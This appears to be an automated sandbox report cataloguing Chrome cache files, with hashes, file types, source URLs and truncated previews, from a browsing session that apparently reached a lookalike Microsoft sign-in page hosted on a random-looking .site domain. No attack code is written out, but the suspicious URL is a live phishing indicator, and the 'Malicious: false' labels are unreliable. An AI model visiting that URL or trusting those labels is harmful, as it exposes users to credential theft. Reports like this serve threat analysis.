SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113084
Category:	downloaded
Size (bytes):	20314
Entropy (8bit):	7.979540464295058
Encrypted:	false
SSDEEP:	384:ekqQ8rNFEhCgMyL2iww6oIR8mWG+Pu9Z5IM6mxqrghTvUty7T9Q:9CGEiL/w7R8DW9Z5B6AasTv37T9Q
MD5:	92A840DC3D177339DAE03FEDF22A22B5
SHA1:	C1C9A6E6442388D07A9D9D72C12DA25094D6920F
SHA-256:	4A986BA8875F22A0EABC356112A6790F90E114ADB72EAEC4632E03812EC1EDE4
SHA-512:	98C705395DD249501D8069A03E0068BC9CCF4F2D139BEC63A00564C69CD21C05CB25CF56BA7B40822963737989D5048AD310E20D6022E84346C982CFCEF79E11
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css
Preview:	...........}ks.6.....\.R;.J.H=-WR;..&>g^53.G.R[.DY<C..$e.WG..... )...{+'g...l............bw_f7.:x..<x.-.V5)/wE..Y...gy.0.(.-o.e.\|..._..I.....?<{.!x...W..._..^..p..E..'..Y...<.....]..6(. ..D.....Y.......:.ve.?..!..\|t...].+.......a.......\|.P...u.H.d.d.r.c[..~.L..n.-.}e.H3...r..^..iP.u..z.....)..Z.jx..C'......u..{.C...N.o.m~..F(b..f.....h..O.....6....kr.......n2m M$.R..R..i{.~.....n.dKY..#.Kn.4..G...O..l.#.a=..iU..].S.2.wY..O.\|...Z.A....].uU.._%U.<...pp..u=.....C.R..S.....0...A<......&...W..'o.T.."..jO..^+.....DiW.b..7i..7..........lKe.0.~B0.....zQu#...YB.,.{.&.6..G.6..._...J.i.?.LS$( .^.{..u.-.0....K....M&j..s.yB..+....^.)...7e.....]..eFI_.kRX.B......D[.4......+.u=>....R.`QEK...R..d...*S.. ,c5RKBK(......][..eF{T.....6...".....Uk:..S.0Ro.}B.dwJZ}U..S.F.....&.&.~\|......{..Ep.>x..._....}p..=.}...v...7?}...g..1&.......}...^...o.x.>x...../.^....._.........w.v./.........BA...{J..w..$?.}w....?zO.r..5...7.gl..z...g.?.{....R.......yGj

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65462)
Category:	downloaded
Size (bytes):	423046
Entropy (8bit):	5.438572506520833
Encrypted:	false
SSDEEP:	3072:/6UQptC+C+OgOh2nXQbyDlgVeeqWxtZE5XIaQ0Sh2qC6k8ukH8UmXS1ooW1Kz:/6ez+OwieOmqTky8U81K
MD5:	FED72784CBCB19D9375B283B432D7B3B
SHA1:	3012BE15099BEE5AFC416D150C4616A0A418A8D0
SHA-256:	A9DBEF011641348EC3C7A812DD3EB4871E6C971A66870630D8641C56DE39AF69
SHA-512:	DDC9DCF5C63468694A1CD752DB8B1E2B2A7562DCF6BBEBFCEABEDFB2848FDA4496EFFC6923BA86BD5F0BB3A32B6044292167A97AC8E9330F84D42BF991160015
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/js/2.fde2ca04.chunk.js
Preview:	/! For license information please see 2.fde2ca04.chunk.js.LICENSE.txt /.(this["webpackJsonpvp-webapp-clicksmart"]=this["webpackJsonpvp-webapp-clicksmart"]\|\|[]).push([[2],[function(e,t,n){"use strict";e.exports=n(420)},function(e,t,n){var r=n(3),o=n(18).f,i=n(24),a=n(20),u=n(106),c=n(147),s=n(68);e.exports=function(e,t){var n,l,f,p,d,h=e.target,v=e.global,g=e.stat;if(n=v?r:g?r[h]\|\|u(h,{}):(r[h]\|\|{}).prototype)for(l in t){if(p=t[l],f=e.noTargetGet?(d=o(n,l))&&d.value:n[l],!s(v?l:h+(g?".":"#")+l,e.forced)&&void 0!==f){if(typeof p===typeof f)continue;c(p,f)}(e.sham\|\|f&&f.sham)&&i(p,"sham",!0),a(n,l,p,e)}}},function(e,t){e.exports=function(e){try{return!!e()}catch(t){return!0}}},function(e,t,n){(function(t){var n=function(e){return e&&e.Math==Math&&e};e.exports=n("object"==typeof globalThis&&globalThis)\|\|n("object"==typeof window&&window)\|\|n("object"==typeof self&&self)\|\|n("object"==typeof t&&t)\|\|function(){return this}()\|\|Function("return this")()}).call(this,n(56))},function(e,t,n){e.ex

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	660449
Entropy (8bit):	5.4121922690110535
Encrypted:	false
SSDEEP:	12288:3PUKyvwjOOvwZ1ARuxntuicBh8hS11dsUA:yvjZ+/pIUA
MD5:	D9E3D2CE0228D2A5079478AAE5759698
SHA1:	412F45951C6AEDA5F3DF2C52533171FC7BDD5961
SHA-256:	7041D585609800051E4F451792AEC2B8BD06A4F2D29ED6F5AD8841AAE5107502
SHA-512:	06700C65BEF4002EBFBFF9D856C12E8D71F408BACA2D2103DDE1C28319B6BD3859FA9D289D8AEB6DD484E802040F6EE537F31F97B4B60A6B120A6882C992207A
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7544.41/scripts/boot.worldwide.3.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	659798
Entropy (8bit):	5.352921769071548
Encrypted:	false
SSDEEP:	12288:nEMsQrWEWbnByixmwgXZewhYcFiG4DUIxo:nEMsJpBJgHKcFQNo
MD5:	9786D38346567E5E93C7D03B06E3EA2D
SHA1:	23EF8C59C5C9AA5290865933B29C9C56AB62E3B0
SHA-256:	263307E3FE285C85CB77CF5BA69092531CE07B7641BF316EF496DCB5733AF76C
SHA-512:	4962CDF483281AB39D339A7DA105A88ADDB9C210C9E36EA5E36611D7135D19FEC8B3C9DBA3E97ABB36D580F194F1860813071FD6CBEDE85D3E88952D099D6805
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7544.41/scripts/boot.worldwide.1.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.1.mouse.js'] = (new Date()).getTime();..;_a.d.G=function(n,t){this.b=n;this.a=t};_a.d.G.prototype={b:0,a:0};_a.fo=function(n){this.s=n};_a.fo.prototype={s:null,t:null,i:function(){return this.s.currentTarget},e:function(){return this.t?this.t.x:this.s.pageX},f:function(){return this.t?this.t.y:this.s.pageY},o:function(){return this.s.relatedTarget},b:function(){return this.s.target},n:function(){return this.s.timeStamp\|\|+new Date},a:function(){var n=this.s.which;!n&&_a.o.a().K&&this.s.type==="keypress"&&(n=this.u());return n},u:function(){return this.s.keyCode},m:function(){return this.s.originalEvent},j:function(){return this.s.type},k:function(){return this.s.originalEvent.touches},q:function(){return this.s.isDefaultPrevented()},g:function(){return this.s.shiftKey},h:function(){return _j.G.a().P?this.s.metaKey:this.s.ctrlKey},l:

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 55182
Category:	downloaded
Size (bytes):	15839
Entropy (8bit):	7.987236650648343
Encrypted:	false
SSDEEP:	192:K4d0wXP5XfMAG/7Phd27kppLaafNe7SP5T2MiICACrm6qhzI4z14rNITspvoksIy:UwXl87i4naaFtPQm6qRINIUytgbguLJE
MD5:	EA673A04A457C6F3C937C34B32AA9F8D
SHA1:	6722459FD194C6FB7CB83E4D55A95B4C839398FE
SHA-256:	57FC13447BC760CEB79E6E7351CDB685B6BDBDFD66806A54D041D286A42ED3DA
SHA-512:	11DC9BBAB2BD1FB0E52BDF839D95D19CAAA8ABACE1DD3B12F7204A19E5310C01DDBEC7A5B892F57EB16FEF95469364887AC408E894277046E877F18D3D81C2DD
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_il6fx5t9s506cdxfu3ywpg2.js
Preview:	...........}Ms#G.....uh.O=.>...4..p.O$...P.IF4.".K....1..5.......7.\|.....S6..w8?......9...B.AwUeeeeeefee..f.Oc/._..G.............{..._..%.q..q........j<.w..O.7..."pgbV.C..k.T`..X....'v....<p....I.'..k<j@Ai..NP.6<..j..N.....0.......=..ox/+...9.sB..p.q.ai...?.....qw.D.X..b..?.bOD.x.B1..X..`.N..b..E...%JWg..x8.ys..:...I.....b1...q.......[..a..7q..N........._..4....&.. ........m&6.F.\.@.e.B..`.'.....0............]/.........`..iZ6......./f8..BCz_...i....MQ>..E,/x>v......{.........._.........Z.rP+......e..R.\.Z.u..3@./.oJ7.'.......%.;.WP.9.b..z._..b....0......X...Ro^k.lI..t..K7~.ep.`.)......'."".."....../..S....M..B5nEc2..g..m..\|f.{...pbi(.0.@[_Lc.Z.....U`./!..@.....p.-..kQ@T..8...-...0.....AX.D.?...".....5.NE..\...VQa.....,......?..M.0......_<......C..fOq..bz'..z/BF.;&.K......%.....g........f!..^.:Z...g...j...7.._........S.2/.2.n.....>.<P!!.Bv..J........e!d....B.Ra$.......N........> f.C.....^.D.-.e.c+...............!....$.9x...{.....p~._.0.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2345), with CRLF line terminators
Category:	downloaded
Size (bytes):	2347
Entropy (8bit):	5.290031538794594
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEv+sj+M++sx+suse+swsosmC0:gC3Na5+GX+Ti2XsYE2sqAsosushswsoB
MD5:	E86EF8B6111E5FB1D1665BCDC90888C9
SHA1:	994BF7651CB967CD9053056AF2D69ACB74DB7F29
SHA-256:	3410242720DE50B090D07A23AEE2DAD879B31D36F2615732962EC4CFA8A9D458
SHA-512:	2486B491681EE91A9CD1ECC9AA011A3FB34B48358C5D7A4D503A5357BC5CE4CA22999F918D40AC60A3063940D5F326FC7E4E5713D89D5C102DE68824E371B3AB
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2345), with CRLF line terminators
Category:	downloaded
Size (bytes):	2347
Entropy (8bit):	5.290031538794594
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEv+sj+M++sx+suse+swsosmC0:gC3Na5+GX+Ti2XsYE2sqAsosushswsoB
MD5:	E86EF8B6111E5FB1D1665BCDC90888C9
SHA1:	994BF7651CB967CD9053056AF2D69ACB74DB7F29
SHA-256:	3410242720DE50B090D07A23AEE2DAD879B31D36F2615732962EC4CFA8A9D458
SHA-512:	2486B491681EE91A9CD1ECC9AA011A3FB34B48358C5D7A4D503A5357BC5CE4CA22999F918D40AC60A3063940D5F326FC7E4E5713D89D5C102DE68824E371B3AB
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1440x1018, components 3
Category:	downloaded
Size (bytes):	140512
Entropy (8bit):	7.936230995454499
Encrypted:	false
SSDEEP:	3072:PbR0H6rlco6GbAVySoR/NSJqhfl63gq26Pd5DQUHTklE/Tm+D9:DR0KvbAcSxufwV5rHTk+/l9
MD5:	41DD29DDD14473A2B95F910C8D817473
SHA1:	C241CD5A158E257F6ADBC927B349886497561EDD
SHA-256:	126308450DE5137A72687784E6B562811E404A3CF7EF62CF5E7A5986555A5E38
SHA-512:	C2FC58D71F0689343FC6E46CDE73854ACC9AF50FA1F9A85DB0BF4D3AE16680C922226CCA45414E262DBAC9FAB1D78FC017D3A4EEBEB7AD5DC6C54F5F0A4AB75A
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/media/bg.f21cfbda.jpg
Preview:	......JFIF.....H.H.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........................................................................................{.....................................................................(......@....................@........(................................(.......@..P.... .......... ........... .....................................QD...@...@.. .........P..............................................AP...@........... ........... .(.......(.@................................AQU..P,........@.....@..@....@..........!HR....................@.....P........J..-..(Ah.P................$......................@........T@...........(...@...J..l.YPZ ......................@..P ..............................@.@. .........J..,...(P..h"..P... .. .@...@.............@.......................J......@.....`.T.QeKD..B.D........(......(X...D..`.........(........................(

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	689017
Entropy (8bit):	4.210697599646938
Encrypted:	false
SSDEEP:	6144:rnQWWDY3mr16XRxcpuEhjMPRKkC0d7xyF0FA9OgoUE0HUN4oe+:rBWU3xhDKkTshoj5
MD5:	3E89AE909C6A8D8C56396830471F3373
SHA1:	2632F95A5BE7E4C589402BF76E800A8151CD036B
SHA-256:	6665CA6A09F770C6679556EB86CF4234C8BDB0271049620E03199B34B4A16099
SHA-512:	E7DBE4E95D58F48A0C8E3ED1F489DCF8FBF39C3DB27889813B43EE95454DECA2816AC1E195E61A844CC9351E04F97AFA271B37CAB3FC522809CE2BE85CC1B8F0
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js
Preview:	.!(function (e) {. function n(n) {. for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++). (i = o[s]),. Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]),. (a[i] = 0);. for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]);. for (d && d(n); c.length; ) c.shift()();. }. var t,. i = {},. a = { 22: 0 };. function o(n) {. if (i[n]) return i[n].exports;. var t = (i[n] = { i: n, l: !1, exports: {} });. return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports;. }. Function.prototype.bind \|\|. ((t = Array.prototype.slice),. (Function.prototype.bind = function (e) {. if ("function" != typeof this). throw new TypeError(. "Function.prototype.bind - what is trying to be bound is not callable". );. var n = t.call(arguments, 1),. i = n.length,. a = this,. o = function () {},. r = function () {. return (.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15406
Entropy (8bit):	2.932954551863506
Encrypted:	false
SSDEEP:	48:M7yRB52gkEWMIII9UzVK+KZ72p56tQOPk9GPU5NX5uezdAhllSM0H:6/g9pviRw62F4SNX5K0
MD5:	9D62DCC244C0F3D88367A943BA4D4FED
SHA1:	5FC5EC953D4344422EB686B9FC61EA31CAED360E
SHA-256:	FDDF75D3376BB911DB3189AA149F508317799B10611438B23D688B89DB208DA7
SHA-512:	78CD9A7A2CDAFCC378A3CB1215325BE78D54A4459D5C4C7271DE617A272AAD10A951BD7F2EFE15EBF4E70A059420D988AC093C481AF02C788D864AA9E316DF22
Malicious:	false
Reputation:	low
Preview:	............ .h...6... .... .(.......00.... .h&......(....... ..... .....................................................................................................................C!!.........................................................U.G%..H% Y....................................................I%..G$..G%..UU..............................................F##.H$..G$..H$..N''.............................................H%..G$..G$..H%..............................................G&!6H$..G$..H$..L"".............................................H$..G$..G$..H%..%q.%r.%r.'o.'............................G'.VG$..G$..G%..U.$q.~$q..$q..$q..3f..........................H$..G$..G$..I$.b.... ...$q..$q..$q..&q.s........................G$..G$..H$..UU..........$q.M$q..$q..$q..'l......................H% YG$..G#.A................%r.$q..$q..$r..................`..f.V2$\.q..q..q..q..q.>\|.)$r..$q..$q..%s.>........j..j..j..j..j..j..j..j..j..k.(s.$q..$q..%q..@....jv.j..

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7544.41/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	81132
Entropy (8bit):	5.268395104711514
Encrypted:	false
SSDEEP:	768:vtQFeEpeHVEmulFGCFPcP9efMgTKgi3kqMUmUZGH41qtCuC9lECaCyMpdmlTjFH/:VQMy6CFOwGmUh1qoolXFHGH/uXUUp
MD5:	A5AF6842BF26FC8A4BCB71E4FA55C0CA
SHA1:	6D297D38D8291F5BFC5582C6032597449ECC9250
SHA-256:	22F86A3F92002829B79768B323C877434B256A0B49C10CF370EA22B3B9336B36
SHA-512:	F293A29DF6F16839CB6BE585E887242AF7516D4F6067B66707F3926FDE8E81CC711444124C6659B1867AA6E5BF4D659753CAFCD1F101F24C89D3F8F3F5FC8AEB
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/js/3.51e54426.chunk.js
